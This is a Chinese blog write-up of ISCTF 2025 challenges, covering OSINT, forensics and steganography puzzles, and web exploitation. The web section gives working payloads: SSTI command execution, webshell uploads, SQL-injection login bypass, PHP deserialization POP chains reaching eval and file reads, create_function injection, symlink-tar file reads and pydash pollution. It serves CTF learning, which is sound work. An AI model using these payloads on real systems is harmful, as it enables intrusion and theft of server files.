ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

2025ISCTF-wp

2025-12-11 09:00:00
# wp

2025ISCTF 部分题解

  • OSINT

0x01 OSINT-1

google以图搜图,找到定位是福州大学图书馆(26.058821,119.197698)
flag: ISCTF{comments.lotteries.trails}

0x02 OSINT-2

google以图搜图,定位到曼哈顿大桥
根据图片的地点大致位于两桥之间的步行道,定位到E River Greenway(40.7093558,-73.9933583)附近

  • MISC

0x01 湖心亭看雪

图片里藏了个压缩包,修复文件头得到加密压缩包

审计test.py,解密异或运算

# 已知 b
b = b'blueshark'
# 已知 c 的 hex 值
c_hex = "53591611155a51405e"
# 将 hex 转换为 bytes
c = bytes.fromhex(c_hex)
# 利用异或性质还原 a
a = bytes([x ^ y for x, y in zip(c, b)])
print(f"还原后的 a 为: {a}")
print(f"解码后的字符串: {a.decode()}")

得到压缩包密码: 15ctf2025

解压打开flag.txt,根据大面积空白字符和题目得出是snow隐写(Steganographic Nature Of Whitespace)

Snow 隐写的核心原理是利用文本行末的空白字符(空格和制表符)来隐藏信息

  • 载体:普通的文本文件(.txt)。任何包含换行符的文本都可以作为载体
  • 隐藏位置:每一行文本的行尾。在编辑器里看不到,但实际上每个换行符之前,可能存在空格或制表符
  • 编码方式:
    它使用不可见的空白字符序列来代表二进制信息。
    通常的编码规则是:
    空格 (0x20) 代表二进制 0
    制表符 (0x09) 代表二进制 1
    信息被编码为一连串由空格和制表符组成的“后缀”,附加在每一行的末尾

使用snow.exe解密,密码即为压缩包密码

.\snow.exe -C -p "15ctf2025" flag.txt 1.txt

flag: ISCTF{y0U_H4v3_kN0wn_Wh4t_15_Sn0w!!!}

0x02 阿利维亚的传说

谕言有三个,并且都是栅栏加密的形式

  1. word隐藏字符,在设置里开启显示隐藏字符

V = Dortt
A = otuTa
N = NTsin

  1. 图片是LSB隐写,用steg解密得到一串base64编码,解密后即为谕言

W = Hoeih
H = ouTgo
l = pMhhi
L = eaetc
E = YkrCe

  1. 图片本身下藏有压缩包,明文爆破密码后解压得到谕言

T=FMfr
R=iytY
U=nGFo
E=diou

flag: ISCTF{DoNotTrustTitan_HopeYouMakeTherightChoice_FindMyGiftForYou}

0x03 小蓝鲨的神秘文件

ChsPinyinUDL是一种微软输入法的词库文件格式,可能包含Windows系统中文用户输入痕迹,利用网上的脚本解码可得到聊天记录,提取关键信息

你去蓝鲨官网看看呗
看看官网的新闻吧

根据这两条记录,去蓝鲨官网查看新闻公告,在最下面找到flagflag: ISCTF{我要和小蓝鲨组一辈子CTF战队}

0x04 冲刺!偷摸零!

将.jar后缀改为.zip,解压得到源文件

在ctf.db中找到第一部分flag

当游戏结束时会提示但是内存中似乎多了什么东西?利用jadx反编译,找到游戏结束创建的类


    byte[] encrypted = {5, 20, 7, 1, 103, 111, 10, 18, 32, 18, 32, 10, 18, 20, 18, 20, 116, 116, 40};
    byte[] decrypted = new byte[encrypted.length];
    for (int i = 0; i < encrypted.length; i++) {
        decrypted[i] = (byte) (encrypted[i] ^ 85);
    }

这部分异或加密即游戏结束时创建的类,保存在内存里

异或解密得到第二部分flag
PART2:_GuGu_GAGA!!}

flag:ISCTF{Tom0R1_Dash_GuGu_GAGA!!}

0x07 Abnormal log

日志里隐写了文件,将其hex分成了116段,按照 Segment ID将对应的hex数据拼接起来

这还没完,hex流被异或加密了。猜测为压缩包文件,将其与hex流文件头异或得到密匙:05

故异或解密(ai生成)

import re

# 如果你不想创建 log.txt,可以直接把日志内容粘贴到这对三引号之间
log_data_embedded = """
[2025-09-11 20:54:19] [INFO] Server started listening on port 8080
...

"""

def parse_and_extract(log_content):
    segments = {}
    current_segment_id = None
    
    # 按行处理
    lines = log_content.strip().split('\n')
    
    for line in lines:
        # 1. 寻找分片编号 (Segment ID)
        # 匹配 "Attacker uploading segment X..."
        id_match = re.search(r'Attacker uploading segment (\d+)', line)
        if id_match:
            current_segment_id = int(id_match.group(1))
            continue
            
        # 2. 寻找对应的数据 (Hex Data)
        # 匹配 "File data segment: [hex]"
        # 逻辑:只有当上一个有效指令是 uploading segment 时,才记录数据
        data_match = re.search(r'File data segment: ([0-9a-fA-F]+)', line)
        if data_match and current_segment_id is not None:
            hex_data = data_match.group(1)
            segments[current_segment_id] = hex_data
            current_segment_id = None # 重置,防止数据错乱
            
    return segments

def decrypt_and_save(segments, output_filename="result.7z"):
    # 1. 排序
    # 获取最大的段号,遍历拼接
    if not segments:
        print("[-] 未提取到任何数据,请检查日志内容是否完整。")
        return

    max_segment = max(segments.keys())
    print(f"[+] 检测到 {len(segments)} 个分片,最大分片号: {max_segment}")
    
    full_hex_string = ""
    for i in range(1, max_segment + 1):
        if i in segments:
            full_hex_string += segments[i]
        else:
            print(f"[!] 警告:缺失分片 {i}")
            
    # 2. 转换为字节流
    try:
        raw_bytes = bytes.fromhex(full_hex_string)
    except ValueError:
        print("[-] Hex 转换失败,数据可能包含非法字符。")
        return

    # 3. XOR 解密 (Key = 0x05)
    # 分析:第一个字节是 0x32,7z头通常是 0x37 ('7'), 0x32 ^ 0x37 = 0x05
    decrypted_data = bytearray()
    for b in raw_bytes:
        decrypted_data.append(b ^ 0x05)

    # 4. 验证文件头 (7z Signature: 37 7A BC AF 27 1C)
    header = decrypted_data[:6].hex().upper()
    print(f"[+] 解密后文件头: {header}")
    if header.startswith("377ABCAF271C"):
        print("[+] 成功识别为 7-Zip 文件格式!")
    else:
        print("[!] 警告:文件头不匹配 7-Zip 格式,可能需要调整 XOR 密钥。")

    # 5. 保存文件
    with open(output_filename, 'wb') as f:
        f.write(decrypted_data)
    print(f"[+] 文件已保存为: {output_filename}")
    print("[+] 请使用解压软件打开该文件提取 flag.png")

if __name__ == "__main__":
    # 优先尝试读取当前目录下的 log.txt
    try:
        with open("log.txt", "r", encoding="utf-8") as f:
            print("[*] 正在读取 log.txt ...")
            content = f.read()
            parsed_data = parse_and_extract(content)
            decrypt_and_save(parsed_data)
    except FileNotFoundError:
        print("[!] 未找到 log.txt,尝试使用脚本内置变量(请自行将日志粘贴到脚本中)...")
        # 注意:实际运行时,请将完整的日志粘贴到 log_data_embedded 中,或者创建 log.txt
        if len(log_data_embedded) < 500: 
            print("[-] 内置日志数据过短,请编辑脚本粘贴日志,或创建 log.txt 文件。")
        else:
            parsed_data = parse_and_extract(log_data_embedded)
            decrypt_and_save(parsed_data)

解压result.7z得到flag.png

0x08 ez_disk

利用FTK Imager打开磁盘镜像,里面有一个加密的压缩包
在$I30(松弛空间)系统文件尾部可以找到这一段话

用010editor编辑.vmdk也可以定位到这段话,并且下方的hex流是倒序储存的(ftc可以看出来)

直接倒序提取只能得到一句嘲讽和出题人

本题是一道签到题,真签到题,不骗你,骗你打一辈子ctf


图:n1tro

真正有用的东西用四进制隐写在文本之间

E2 80 8C (ZWNJ) -> 代表0
E2 80 8D (ZWJ) -> 代表1
E2 80 AC (PDF) -> 代表2
EF BB BF (BOM) -> 代表3
这些字符每8个一组。经过手动计算验证,前4个字符通常是0000(作为填充),后4个字符构成了ASCII码的4位四进制表示(即 Val = D164 + D216 + D3*4 + D4)

用python脚本提取四进制隐写(ai生成)

import binascii

def solve_stego():
    print("[*] 正在读取 hex.txt ...")
    try:
        with open('hex.txt', 'r') as f:
            # 清理换行和空格
            hex_data = f.read().replace('\n', '').replace(' ', '')
    except FileNotFoundError:
        print("[-] 错误:找不到 hex.txt 文件")
        return

    # 转换为字节流
    data = binascii.unhexlify(hex_data)

    # 定义4种隐写字符对应的四进制数值
    # ZWNJ=0, ZWJ=1, PDF=2, BOM=3
    markers = {
        b'\xe2\x80\x8c': 0,
        b'\xe2\x80\x8d': 1,
        b'\xe2\x80\xac': 2,
        b'\xef\xbb\xbf': 3
    }

    found_digits = []
    
    # 扫描整个文件寻找隐写字符
    i = 0
    while i < len(data) - 2:
        # 检查3字节字符 (ZWNJ, ZWJ, PDF, BOM)
        chunk = data[i:i+3]
        if chunk in markers:
            found_digits.append(markers[chunk])
            i += 3
        else:
            # 这里的文本夹杂在隐写字符中间,跳过普通字节
            i += 1

    print(f"[*] 提取到 {len(found_digits)} 个隐写位")

    # 每8个位一组进行解码 (前4位是填充0000,后4位是有效数据)
    decoded_str = ""
    
    # 按照8个一组遍历
    for j in range(0, len(found_digits), 8):
        batch = found_digits[j:j+8]
        
        if len(batch) < 8:
            break
            
        # 验证前4位是否为0 (作为校验)
        # 虽然手动分析发现是0,但以防万一我们可以只取后4位计算
        
        # 计算 Base-4 值: d1*64 + d2*16 + d3*4 + d4
        val = 0
        val += batch[4] * 64
        val += batch[5] * 16
        val += batch[6] * 4
        val += batch[7] * 1
        
        try:
            decoded_str += chr(val)
        except:
            decoded_str += "?"

    print("-" * 30)
    print(f"[+] 解密结果 (Base-4): {decoded_str}")
    print("-" * 30)

if __name__ == '__main__':
    solve_stego()

解密得到压缩包密码: this_p@ssw0rd_tha7_9ou_caN_n0t_brut3_Forc3_hhhhhhhhhhhhhhaHaa_no0b
用密码解压压缩包得到flag.txt

0x09 小蓝鲨的千层FLAG

999层加密压缩包,前996层的密码都在上一层的注释中,利用脚本在注释中用正则过滤出密码解压下一层,直到第996层
脚本如下(ai生成):

import pyzipper
import os
import sys
# 初始文件名
current_file = "flagggg999.zip" 
def solve_zip_nest():
    global current_file
    while True:
        try:
            # 使用 pyzipper.AESZipFile 替代 zipfile.ZipFile
            with pyzipper.AESZipFile(current_file, 'r') as zf:
                # 1. 获取注释
                comment_bytes = zf.comment
                # 如果没有注释,可能是到了最后一层或者出错了
                if not comment_bytes:
                    print(f"[?] 文件 {current_file} 没有注释,可能就是 flag 所在包。")
                    # 尝试无密码解压,或者抛出异常让外层处理
                    zf.extractall()
                    break
                # 2. 处理密码
                comment_str = comment_bytes.decode('utf-8').strip()
                # 提取最后一段作为密码
                real_pwd_str = comment_str.split()[-1]
                pwd_bytes = real_pwd_str.encode('utf-8')
                print(f"[-] filename: {current_file} | pwd: {real_pwd_str}")
                # 3. 解压 (pyzipper 支持 AES)
                zf.extractall(pwd=pwd_bytes)
                # 4. 获取下一个文件名
                next_file = zf.namelist()[0]
            # 删除旧文件
            os.remove(current_file)
            # 更新文件名
            current_file = next_file
        except pyzipper.BadZipFile:
            print(f"[+] 解压结束或不是ZIP文件。")
            print(f"[+] 最终文件: {current_file}")
            break
        except Exception as e:
            print(f"[!] 错误: {e}")
            # 如果解压出错,保留当前文件以便手动检查
            break
if __name__ == "__main__":
    solve_zip_nest()

得到flagggg3.zip,里面是flagggg2.zip,此时密码需要手动爆破

根据资料提示,当一个加密压缩包中存在另一个ZIP压缩包时,且能够知道或猜测该压缩包内的文件名称时,可以尝试进行已知明文攻击

所谓4+8,就是要满足文件头4字节和内部已知文件名字节数加起来至少为12字节

猜测flagggg2.zip内部是flagggg1.zip(66 6C 61 67 67 67 67 31 2E 7A 69 70 共12字节,4+12>12),故使用bkcrack进行已知明文攻击提取三组密匙,再利用这三组密匙直接提取文件

解压得到flag:ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}

  • WEB

0x01 难过的bottle

先审计源码

# hint: flag is in /flag
UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024  # 1MB
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
def contains_blacklist(content):
    """检查内容是否包含黑名单中的关键词(不区分大小写)"""
    content = content.lower()
    return any(black_word in content for black_word in BLACKLIST)
def safe_extract_zip(zip_path, extract_dir):
    """安全解压ZIP文件(防止路径遍历攻击)"""
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.infolist():
            member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
            if not member_path.startswith(os.path.realpath(extract_dir)):
                raise ValueError("非法文件路径: 路径遍历攻击检测")
                zf.extract(member, extract_dir)

try:
    return template(content) # <--- 漏洞点
except Exception as e:
    return f"渲染错误: {str(e)}"

上传的文件在点击后会被渲染到页面上,考虑Bottle框架利用的是SimpleTemplate引擎,故猜测考察SSTI模板注入

{{__import__('os').popen('cat /flag').read()}}

后端会自动解压并自动检测上传信息,需要绕过黑名单字符
在python中,逻辑命令的字母会被解析器标准化,如斜体字符,全角字符都会被解析为正常字符
全角字符即占位两个字符位的字符,故命令可用全角字符绕过
而内部字符串变量是定死的,模块是什么字符就是什么字符,但可以解析转义。故我们可以用八进制转义\x

最终payload:

{{__import__('\157\163').popen('\143\141\164\40/flag').read()}}

上传后打开文件得到flag

0x02 b@by n0t1ce b0ard

CVE-2024-12233简单来说就是个文件上传漏洞
该题的上传点在注册时上传头像,上传任意php文件即可

根据源码register.php

mkdir("images/$e");
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);

$e是邮箱地址,$_FILES['img']['name']指图片名,故上传文件路径为images/注册邮箱地址/文件名.php,用蚁剑连接即可

0x03 flag到底在哪

题目上所说的爬虫很可能指的是爬虫协议,指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取

故访问robots.txt

得到/admin/login.php的路由,访问发现是一个简单的登录页面


图:login
两种思路:sql注入和弱口令爆破

弱口令试过行不通,故使用sql万能密码爆破

username和password两位置都试一遍,发现注入点在password一栏


图:这些都成功了
响应是个重定向,定位到/upload.php

访问是个文件上传,且没有任何waf,上传webshell连蚁剑即可

0x04 ezrce

 if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code); 
}

观察正则,无法使用字母 _ $,意味pass掉了八进制绕过

经典无参rce,直接函数嵌套读取任意文件

?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

多刷新几次flag就出来了

0x05 来签个到吧

先看index

$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);// PDO::FETCH_ASSOC 以关联数组形式返回结果集

index的作用就是post读取shark参数中blueshark:后的内容作为留言内容存入数据库,然后读取最新的10条留言显示在页面上

再审计api,php

$id = $_GET["id"] ?? '喵喵喵?';

$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);

if (! $row) {
    die("喵喵喵?");
}

$cfg = unserialize($row["content"]);

if ($cfg instanceof ShitMountant) {
    $r = $cfg->fetch();
    echo "ok!" . "<br>";
    echo nl2br(htmlspecialchars($r));// 安全读取
}

api.php用id参数读取对应id的留言内容,反序列化后判断是否为ShitMountant类的实例,如果是则调用fetch方法输出内容,这里就是反序列化利用点

而fetch方法则在classes.php中

<?php
class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";

    public function __construct($f=null) {
        if ($f) {
            $this->logfile = $f;
        }
    }

    public function write($msg) {
        $this->content .= $msg . "\n";
        file_put_contents($this->logfile, $this->content, FILE_APPEND);
    }

    public function __destruct() {
        if ($this->content) {
            file_put_contents($this->logfile, $this->content, FILE_APPEND);
        }
    }
}

class ShitMountant {
    public $url;
    public $logger;

    public function __construct($url) {
        $this->url = $url;
        $this->logger = new FileLogger();
    }

    public function fetch() {
        $c = file_get_contents($this->url);
        if ($this->logger) {
            $this->logger->write("fetched ==> " . $this->url);
        }
        return $c;
    }

    public function __destruct() {
        $this->fetch();
    }
}
?>

可以看到ShitMountant类下的fetch方法利用file_get_contents读取url内容并返回,这里可以想到ssrf漏洞,该漏洞的利用关键正是这个函数

故构造pop链

<?php
class ShitMountant {
    public $url;
    public $logger;
}
$payload = new ShitMountant();
$payload->url = "file:///flag";// 伪协议读取本地文件
$payload->logger = null;// 避免触发write方法
$exploit = serialize($payload);
echo "blueshark:" . $exploit;
?>

blueshark:O:12:"ShitMountant":2:{s:3:"url";s:12:"file:///flag";s:6:"logger";N;}

在index.php的留言处提交该payload,然后访问api.php?id=1即可触发反序列化读取flag

0x06 flag?我就借走了

该网站会自动解压上传的tar文件,并在网页上显示文件软链接,点击该软链接自动下载目标文件

到这里解法就很明确了,我们直接构造一个软链接打包上传,链接指向根目录的flag文件

import tarfile
import os
def make_symlink_tar(output_filename, link_name, target_path):
    with tarfile.open(output_filename, "w") as tar:
        info = tarfile.TarInfo(name=link_name)
        info.type = tarfile.SYMTYPE  # 设置文件类型为软连接
        info.linkname = target_path  # 连接指向的目标(服务器上的路径)
        tar.addfile(info)
    print(f"[*] {output_filename} 生成完毕,解压后 {link_name} -> {target_path}")
    # 盲猜 Flag 在根目录
make_symlink_tar("link_flag.tar", "link_to_flag.txt", "/flag")

点击即可

0x07 Who am I

扫描没有任何泄漏,那就抓包试试

抓包登陆界面,观察到type这一参数很可疑
fuzz一下,发现当type=0时响应异常访问该路由直接进入了后台,可以在配置文件这一栏看到后端源码


图:要大胆尝试

后来发现只有登陆已注册账户才能访问后台,故需要先注册一个账户再登录

审计main.py,发现漏洞

@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"

@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

/impression调用了render_template(point)进行渲染,但过滤了注入符号并设定了长度限制,故无法利用SSTI注入
/operate的pydash.set_(obj, path, value)函数用于将对象obj中指定路径path的值设置为value,可见此题考察python的原型链污染

思路:render_template函数会去加载模板文件,默认在/templates/目录下寻找对应的html文件,但我们可以利用/operate接口污染app的jinja_loader.searchpath属性,这使模板渲染器去其他目录寻找模板文件,从而实现任意文件读取

先在/operate接口构造payload

/operate?username=app&password=jinja_loader.searchpath&confirm_password=/

再访问/impression接口

/impression?point=flag

拿下flag

0x08 Bypass

审计php可知这是一道反序列化+rce绕过__construct在反序列化时根本不会调用,所以关键利用点在__destruct()中的$a("",$b)这条动态执行语句

可以看到过滤了很多东西,$a可以使用create_function函数

create_function创建动态函数
比如create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');

利用该函数是因为该函数有个漏洞,使用该函数内部代码运作是这样的

function create_function($args, $code) {
    static $lambda_counter = 0;
    $lambda_counter++;
    // 1. 生成唯一函数名
    $function_name = "\x00lambda_" . $lambda_counter;
    // 2. 动态构建函数代码
    $function_code = sprintf(
        'function %s(%s) {%s}',
        $function_name,
        $args,
        $code
    );
    // 3. 执行eval()动态创建函数
    eval($function_code);
    return $function_name;
}

create_function的$code参数可以包含任意代码,构造闭合

$code = "} eval('system("ls /")'); //"

由于过滤了字母,故使用八进制转义
构造序列化

<?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
    }
}
// 将字符串转换为八进制转义形式
function encode_oct($str) {
    $out = "";
    for ($i = 0; $i < strlen($str); $i++) {
        $out .= "\\" . decoct(ord($str[$i]));
    }
    return $out;
}
$a = "create_function";
$cmd_func = "system";
$cmd_arg  = "cat /flag"; 
$payload_core = '$x="' . encode_oct($cmd_func) . '";$x("' . encode_oct($cmd_arg) . '");';

$b = '}' . $payload_core . '/*';

$obj = new FLAG($a, $b);
echo "?exp=" . urlencode(serialize($obj));
?>

拿到flag

0x09 ezpop

这同样是一道反序列化+rce绕过,不过这次要构造pop链
源码

class begin {
    public $var1;
    public $var2;

    function __construct($a)
    {
        $this->var1 = $a;
    }
    function __destruct() {
        echo $this->var1;
    }

    public function __toString() {
        $newFunc = $this->var2;
        return $newFunc();
    }
}
class starlord {
    public $var4;
    public $var5;
    public $arg1;
    public function __call($arg1, $arg2) {
        $function = $this->var4;
        return $function();
    }

    public function __get($arg1) {
        $this->var5->ll2('b2');//ll2
    }
}
class anna {
    public $var6;
    public $var7;

    public function __toString() {
        $long = @$this->var6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->var7->tt2) {
            echo "yamada yamada";
        }
    }
}
class eenndd {
    public $command;

    public function __get($arg1) {
        if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
            echo "nonono";
        }else {
            eval($this->command);
        }
    }
}
class flaag {
    public $var10;
    public $var11="1145141919810";

    public function __invoke() {
        if (md5(md5($this->var11)) == 666) {
            return $this->var10->hey;// 访问未定义属性hey
        }
    }
}
if (isset($_POST['ISCTF'])) {
    unserialize($_POST["ISCTF"]);
}else {
    highlight_file(__FILE__);
}

首先看pop链的调用顺序:
eenndd::__get()->flaag::__invoke()->starlord::__call()->anna::__toString()->begin::__destruct()

再构造每个类的payload:
flaag考察md5爆破,由于是弱比较,所以只要满足var11两次md5值前3位非数字且为666

if (md5(md5($this->var11)) == 666)

爆破脚本:

<?php
set_time_limit(0); // 防止超时
echo "Searching...\n";
$i = 0;
while (true) {
    $hash = md5(md5((string)$i));
    if ($hash == 666) {
        echo "[+] Found: $i \n";
        echo "[+] Hash: $hash \n";
        break;
    }
    $i++;
    // 每100万次输出一下进度
    if ($i % 1000000 == 0) {
        echo "Checked $i ...\n";
    }
}
?>

得到139892

对于eenndd里的正则过滤,可以使用base64_decode()绕过

构造最终payload

<?php

class begin {
    public $var1;
    function __construct($v) {
        $this->var1 = $v; 
    }
}

class starlord {
    public $var4;
    public $var5;
}

class anna {
    public $var6;
}

class eenndd {
    public $command;
}

class flaag {
    public $var10;
    public $var11;
}
$b64 = "cmVhZGZpbGUoIi9mbGFnIik7";
$e = new eenndd();
$e->command = 'eval(base64_decode("' . $b64 . '"));';

$f = new flaag();
$f->var10 = $e;
$f->var11 = "139892";

$s = new starlord();
$s->var4 = $f; 

$a = new anna();
$a->var6 = $s; 
$b = new begin($a); 

echo urlencode(serialize($b));
?>
avatar

uky

后端安全方向,ctf-web手

RECOMMENDED

2026SHCTF-web阶段1/2

2026-2-14 09:00:00

带你体验第一视角手撕CC链

2026-5-14 21:10:00

floor(rand(0)*2)的奥秘

2025-11-11 09:00:00

Table of Contents